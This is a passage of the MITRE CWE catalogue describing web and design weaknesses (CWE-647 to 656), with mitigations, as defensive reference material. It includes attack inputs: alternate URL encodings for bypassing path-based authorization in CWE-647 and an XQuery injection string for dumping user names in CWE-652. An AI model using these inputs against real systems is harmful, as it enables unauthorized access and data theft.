<td>699 601</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌱</td>
<td>442</td>
<td>Web Problems</td>
<td>699 1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌱</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>209</td>
<td>XSS Using MIME Type Mismatch</td>
<td></td>
</tr>
</tbody>
</table>

**CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions**

**Weakness ID:** 647 *(Weakness Variant)*

**Status:** Incomplete
Description

Summary
The software defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.

Extended Description
If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision, then it opens the application to attack. For example, if the application only wants to allow access to http://www.example.com/mypage, then the attacker might be able to bypass this restriction using equivalent URLs such as:
- http://WWW.EXAMPLE.COM/mypage
- http://www.example.com/%6Dypage (alternate encoding)
- http://192.168.1.1/mypage (IP address)
- http://www.example.com/mypage/ (trailing /)
- http://www.example.com:80/mypage

Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms

Languages
• Language-independent

Architectural Paradigms
• Web-based

Common Consequences

Access Control
Bypass protection mechanism
An attacker may be able to bypass the authorization mechanism to gain access to the otherwise-protected URL.

Confidentiality
Read files or directories
If a non-canonical URL is used, the server may choose to return the contents of the file, instead of pre-processing the file (e.g. as a program).

Likelihood of Exploit
High

Enabling Factors for Exploitation
An application specifies its policy namespaces and access control rules based on the path information.

Alternate (but equivalent) encodings exist to represent the same path information that will be understood and accepted by the process consuming the path and granting access to resources.

Observed Examples

Description
Example from CAPEC (CAPEC ID: 4, “Using Alternative IP Address Encodings”). An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed http://192.168.0.1:8080/application. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.

Potential Mitigations
CWE Version 2.11

**CWE-648: Incorrect Use of Privileged APIs**

**Architecture and Design**
Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.

**Architecture and Design**
Reject all alternate path encodings that are not in the expected canonical form.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>442</td>
<td>Web Problems</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>845</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>863</td>
<td>Incorrect Authorization</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>949</td>
<td>SFP Secondary Cluster: Faulty Endpoint Authentication</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>IDS02-J</td>
<td>Canonicalize path names before validating them</td>
</tr>
</tbody>
</table>

**CWE-648: Incorrect Use of Privileged APIs**

**Weakness ID:** 648 *(Weakness Base)*  
**Status:** Incomplete

**Description**

**Summary**
The application does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.

**Extended Description**
When an application contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:
- ensure that assumptions made by the APIs are valid, such as validity of arguments
- account for known weaknesses in the design/implementation of the API
- call the API from a safe context

If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.

For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

**Access Control**
- Gain privileges / assume identity
  - An attacker may be able to elevate privileges.

**Confidentiality**
- Read application data
  - An attacker may be able to obtain sensitive information.
Integrity
Confidentiality
Availability

Execute unauthorized code or commands
An attacker may be able to execute code.

Likelihood of Exploit
Low

Enabling Factors for Exploitation
An application contains functions running processes that hold higher privileges.

There is code in the application that calls the privileged APIs.

There is a way for a user to control the data that is being passed to the privileged API or control the context from which it is being called.

Observed Examples

<table>
<thead>
<tr>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>From <a href="http://xforce.iss.net/xforce/xfdb/12848">http://xforce.iss.net/xforce/xfdb/12848</a>: man-db is a Unix utility that displays online help files. man-db versions 2.3.12 beta and 2.3.18 to 2.4.1 could allow a local attacker to gain privileges, caused by a vulnerability when the open_cat_stream function is called. If man-db is installed setuid, a local attacker could exploit this vulnerability to gain &quot;man&quot; user privileges.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.

Architecture and Design
Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.

Implementation
If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.

Implementation
If privileged APIs do not shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.

Implementation
Only call privileged APIs from safe, consistent and expected state.

Implementation
Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>265</td>
<td>Privilege / Sandbox Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>269</td>
<td>Improper Privilege Management</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>107</td>
<td>Cross Site Tracing</td>
</tr>
<tr>
<td>234</td>
<td>Hijacking a privileged process</td>
</tr>
</tbody>
</table>
# CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking

## Description

### Summary

The software uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the software does not use integrity checks to detect if those inputs have been modified.

### Extended Description

When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary blindly traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate his or her privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.

## Time of Introduction

- Architecture and Design
- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Integrity

**Unexpected state**

The inputs could be modified without detection, causing the software to have unexpected system state or make incorrect security decisions.

## Likelihood of Exploit

High

## Enabling Factors for Exploitation

The application uses client controllable tokens/parameters in order to make decisions on the server side about user state, system state or other decisions related to the functionality of the application.

The application does not protect client controllable tokens/parameters for integrity and thus not able to catch tampering.

## Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-0039</td>
<td>An IPSec configuration does not perform integrity checking of the IPSec packet as the result of either not configuring ESP properly to support the integrity service or using AH improperly. In either case, the security gateway receiving the IPSec packet would not validate the integrity of the packet to ensure that it was not changed. Thus if the packets were intercepted the attacker could undetectably change some of the bits in the packets. The meaningful bit flipping was possible due to the known weaknesses in the CBC encryption mode. Since the attacker knew the structure of the packet, he or she was able (in one variation of the attack) to use bit flipping to change the destination IP of the packet to the destination machine controlled by the attacker. And so the destination security gateway would decrypt the packet and then forward the plaintext to the machine controlled by the attacker. The attacker could then read the original message. For instance if VPN was used with the vulnerable IPSec configuration the attacker could read the victim's e-mail. This vulnerability demonstrates the need to enforce the integrity service properly when critical data could be modified by an attacker. This problem might have also been mitigated by using an encryption mode that is not susceptible to bit flipping attacks, but the preferred mechanism to address this problem still remains message verification for...</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-650: Trusting HTTP Permission Methods on the Server Side

Reference | Description
--- | ---
 | integrity. While this attack focuses on the network layer and requires a man in the middle scenario, the situation is not much different at the software level where an attacker can modify tokens/parameters used by the application.

Potential Mitigations
Architecture and Design
Protect important client controllable tokens/parameters for integrity using PKI methods (i.e. digital signatures) or other means, and checks for integrity on the server side.

Architecture and Design
Repeated requests from a particular user that include invalid values of tokens/parameters (those that should not be changed manually by users) should result in the user account lockout.

Architecture and Design
Client side tokens/parameters should not be such that it would be easy/predictable to guess another valid state.

Architecture and Design
Obfuscation should not be relied upon. If encryption is used, it needs to be properly applied (i.e. proven algorithm and implementation, use padding, use random initialization vector, user proper encryption mode). Even with proper encryption where the ciphertext does not leak information about the plaintext or reveal its structure, compromising integrity is possible (although less likely) without the provision of the integrity service.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>699 601</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>975</td>
<td>SFP Secondary Cluster: Architecture</td>
<td>888 1386</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>463</td>
<td>Padding Oracle Crypto Attack</td>
<td></td>
</tr>
</tbody>
</table>

CWE-650: Trusting HTTP Permission Methods on the Server Side

Weakness ID: 650 (Weakness Variant) Status: Incomplete

Description
Summary
The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.

Extended Description
An application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation, believing that it will be enough to prevent unintended resource alterations. Even though the HTTP GET specification requires that GET requests should not have side effects, there is nothing in the HTTP protocol itself that prevents the HTTP GET method from performing more than just query of the data. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. Whenever that happens however, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, and POST methods have the power to alter the representation of the resource being accessed in the request.

Time of Introduction
• Architecture and Design
• Implementation
• Operation
CWE Version 2.11
CWE-651: Information Exposure Through WSDL File

Applicable Platforms
Languages
• All

Common Consequences
Access Control
Gain privileges / assume identity
An attacker could escalate privileges.

Integrity
Modify application data
An attacker could modify resources.

Confidentiality
Read application data
An attacker could obtain sensitive information.

Likelihood of Exploit
High

Enabling Factors for Exploitation
The application allows HTTP access to resources.
The application is not properly configured to enforce access controls around the resources accessible via HTTP.

Observed Examples
Description
The HTTP GET method is designed to retrieve resources and not to alter the state of the application or resources on the server side. However, developers can easily code programs that accept a HTTP GET request that do in fact create, update or delete data on the server. Both Flickr (http://www.flickr.com/services/api/flickr.photosets.delete.html) and del.icio.us (http://del.icio.us/api/posts/delete) have implemented delete operations using standard HTTP GET requests. These HTTP GET methods do delete data on the server side, despite being called from GET, which is not supposed to alter state.

Potential Mitigations
System Configuration
Configure ACLs on the server side to ensure that proper level of access control is defined for each accessible resource representation.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>419</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>436</td>
<td>Interpretation Conflict</td>
<td>751</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>945</td>
<td>SFP Secondary Cluster: Insecure Resource Access</td>
<td>1375</td>
</tr>
</tbody>
</table>

CWE-651: Information Exposure Through WSDL File

Weakness ID: 651 (Weakness Variant)
Status: Incomplete

Description
Summary
The Web services architecture may require exposing a WSDL file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).

Extended Description
An information exposure may occur if any of the following apply:
The WSDL file is accessible to a wider audience than intended.
The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.
Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- All

**Technology Classes**
- Web-Server (Often)

**Common Consequences**

**Confidentiality**

**Read application data**

The attacker may find sensitive information located in the WSDL file.

**Enabling Factors for Exploitation**

The system employs a web services architecture.

WSDL is used to advertise information information on how to communicate with the service.

**Observed Examples**

**Description**

The WSDL for a service providing information on the best price of a certain item exposes the following method: `float getBestPrice(String ItemID)` An attacker might guess that there is a method `setBestPrice(String ItemID, float Price)` that is available and invoke that method to try and change the best price of a given item to their advantage. The attack may succeed if the attacker correctly guesses the name of the method, the method does not have proper access controls around it and the service itself has the functionality to update the best price of the item.

**Potential Mitigations**

**Architecture and Design**

Limit access to the WSDL file as much as possible. If services are provided only to a limited number of entities, it may be better to provide WSDL privately to each of these entities than to publish WSDL publicly.

**Architecture and Design**

**Separation of Privilege**

Make sure that WSDL does not describe methods that should not be publicly accessible. Make sure to protect service methods that should not be publicly accessible with access controls.

**Architecture and Design**

Do not use method names in WSDL that might help an adversary guess names of private methods/resources used by the service.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⚡</td>
<td>538</td>
<td>File and Directory Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⚡</td>
<td>966</td>
<td>SFP Secondary Cluster: Other Exposures</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1383</td>
</tr>
</tbody>
</table>

**CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')**

**Weakness ID: 652 (Weakness Base)**

**Status: Incomplete**

**Description**

**Summary**

The software uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
Extended Description
The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Confidentiality
Read application data
An attacker might be able to read sensitive information from the XML database.

Likelihood of Exploit
High

Enabling Factors for Exploitation
XQL queries are constructed dynamically using user supplied input that has not been sufficiently validated.

Observed Examples

Description
From CAPEC 84: An attacker can pass XQuery expressions embedded in otherwise standard XML documents. Like SQL injection attacks, the attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name="*"] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

Potential Mitigations

Implementation
Use parameterized queries. This will help ensure separation between data plane and control plane.

Implementation
Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🌼</td>
<td>91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
<td>170</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌼</td>
<td>943</td>
<td>Improper Neutralization of Special Elements in Data Query Logic</td>
<td>1373</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌿</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>1392</td>
</tr>
</tbody>
</table>

Relationship Notes
This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>46</td>
<td>XQuery Injection</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-653: Insufficient Compartmentalization

Weakness ID: 653 (Weakness Base)  Status: Draft

Description
Summary
The product does not sufficiently compartmentalize functionality or processes that require different privilege levels, rights, or permissions.

**Extended Description**
When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.

**Alternate Terms**
- **Separation of Privilege**
  
  Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. This node conflicts with the original definition of "Separation of Privilege" by Saltzer and Schroeder; that original definition is more closely associated with CWE-654. Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

**Terminology Notes**
The term "Separation of Privilege" is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (this node) and using only one factor in a security decision (CWE-654). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

**Access Control**
- Gain privileges / assume identity
- Bypass protection mechanism
  
  The exploitation of a weakness in low-privileged areas of the software can be leveraged to reach higher-privileged areas without having to overcome any additional obstacles.

**Detection Methods**

**Automated Static Analysis - Binary / Bytecode**
- SOAR Partial
  
  According to SOAR, the following detection techniques may be useful:
  
  - Cost effective for partial coverage:
    
    Compare binary / bytecode to application permission manifest

**Manual Static Analysis - Source Code**
- SOAR High
  
  According to SOAR, the following detection techniques may be useful:
  
  - Highly cost effective:
    
    Manual Source Code Review (not inspections)
  
  - Cost effective for partial coverage:
    
    Focused Manual Spotcheck - Focused manual analysis of source
Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Attack Modeling

Demonstrative Examples

Example 1:
Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user’s credentials can provide immediate access to all other resources or domains.

Example 2:
The traditional UNIX privilege model provides root with arbitrary access to all resources, but root is frequently the only user that has privileges. As a result, administrative tasks require root privileges, even if those tasks are limited to a small area, such as updating user man pages. Some UNIX flavors have a “bin” user that is the owner of system executables, but since root relies on executables owned by bin, a compromise of the bin account can be leveraged for root privileges by modifying a bin-owned executable, such as CVE-2007-4238.

Potential Mitigations

Architecture and Design
- Break up privileges between different modules, objects or entities. Minimize the interfaces between modules and require strong access control between them.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1019</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>901</td>
<td>SFP Primary Cluster: Privilege</td>
<td>888</td>
</tr>
</tbody>
</table>

Relation Notes

There is a close association with CWE-250 (Execution with Unnecessary Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible. In this fashion, compartmentalization becomes one mechanism for reducing privileges.

Causal Nature

Implicit

References


CWE-654: Reliance on a Single Factor in a Security Decision

Weakness ID: 654 (Weakness Base) Status: Draft

Description
Summary
A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.

Alternate Terms
Separation of Privilege
Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. While this node is closely associated with the original definition of "Separation of Privilege" by Saltzer and Schroeder, others use the same term to describe poor compartmentalization (CWE-653). Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms
Languages
• All

Common Consequences
Access Control
Gain privileges / assume identity
If the single factor is compromised (e.g. by theft or spoofing), then the integrity of the entire security mechanism can be violated with respect to the user that is identified by that factor.

Non-Repudiation
Hide activities
It can become difficult or impossible for the product to be able to distinguish between legitimate activities by the entity who provided the factor, versus illegitimate activities by an attacker.

Demonstrative Examples
Example 1:
Password-only authentication is perhaps the most well-known example of use of a single factor. Anybody who knows a user's password can impersonate that user.

Example 2:
When authenticating, use multiple factors, such as "something you know" (such as a password) and "something you have" (such as a hardware-based one-time password generator, or a biometric device).

Potential Mitigations
Architecture and Design
Use multiple simultaneous checks before granting access to critical operations or granting critical privileges. A weaker but helpful mitigation is to use several successive checks (multiple layers of security).

Architecture and Design
Use redundant access rules on different choke points (e.g., firewalls).

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>CWE</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>699</td>
<td>453</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
<td>699</td>
<td>1019</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
<td>1077</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>975</td>
<td>SFP Secondary Cluster: Architecture</td>
<td>888</td>
<td>1386</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>308</td>
<td>Use of Single-factor Authentication</td>
<td>1000</td>
<td>545</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>309</td>
<td>Use of Password System for Primary Authentication</td>
<td>1000</td>
<td>546</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-655: Insufficient Psychological Acceptability

Causal Nature
Implicit

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>274</td>
<td>HTTP Verb Tampering</td>
<td></td>
</tr>
</tbody>
</table>

References

Maintenance Notes
This node is closely associated with the term "Separation of Privilege." This term is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (CWE-653) and using only one factor in a security decision (this node). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

CWE-655: Insufficient Psychological Acceptability

<table>
<thead>
<tr>
<th>Weakness ID: 655 (Weakness Base)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Status: Draft</td>
</tr>
</tbody>
</table>

Description

Summary
The software has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages
- All

Common Consequences

Access Control
By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.

Demonstrative Examples

Example 1:
In "Usability of Security: A Case Study" [R.655.3], the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.

Example 2:
Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.

Example 3:
Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.
Potential Mitigations

Testing
Where possible, perform human factors and usability studies to identify where your product’s security mechanisms are difficult to use, and why.

Architecture and Design
Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.

Other Notes
This weakness covers many security measures causing user inconvenience, requiring effort or causing frustration, that are disproportionate to the risks or value of the protected assets, or that are perceived to be ineffective.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>254</td>
<td>Security Features</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>995</td>
<td>SFP Secondary Cluster: Feature</td>
<td>888</td>
</tr>
</tbody>
</table>

Causal Nature
Implicit

References

CWE-656: Reliance on Security Through Obscurity

CWE-656: Reliance on Security Through Obscurity

<table>
<thead>
<tr>
<th>Weakness ID: 656 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary
The software uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.

Extended Description
This reliance on "security through obscurity" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.

Alternate Terms

Never Assuming your secrets are safe

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages
Common Consequences
Confidentiality
Integrity
Availability
Other
Other
The security mechanism can be bypassed easily.

Demonstrative Examples
The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption, CWE-311), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

References

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-4002</td>
<td>Hard-coded cryptographic key stored in executable program.</td>
</tr>
<tr>
<td>CVE-2006-4068</td>
<td>Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.</td>
</tr>
<tr>
<td>CVE-2006-6588</td>
<td>Reliance on hidden form fields in a web application. Many web application vulnerabilities exist because the developer did not consider that &quot;hidden&quot; form fields can be processed using a modified client.</td>
</tr>
<tr>
<td>CVE-2006-7142</td>
<td>Hard-coded cryptographic key stored in executable program.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Always consider whether knowledge of your code or design is sufficient to break it. Reverse engineering is a highly successful discipline, and financially feasible for motivated adversaries. Black-box techniques are established for binary analysis of executables that use obfuscation, runtime analysis of proprietary protocols, inferring file formats, and others.

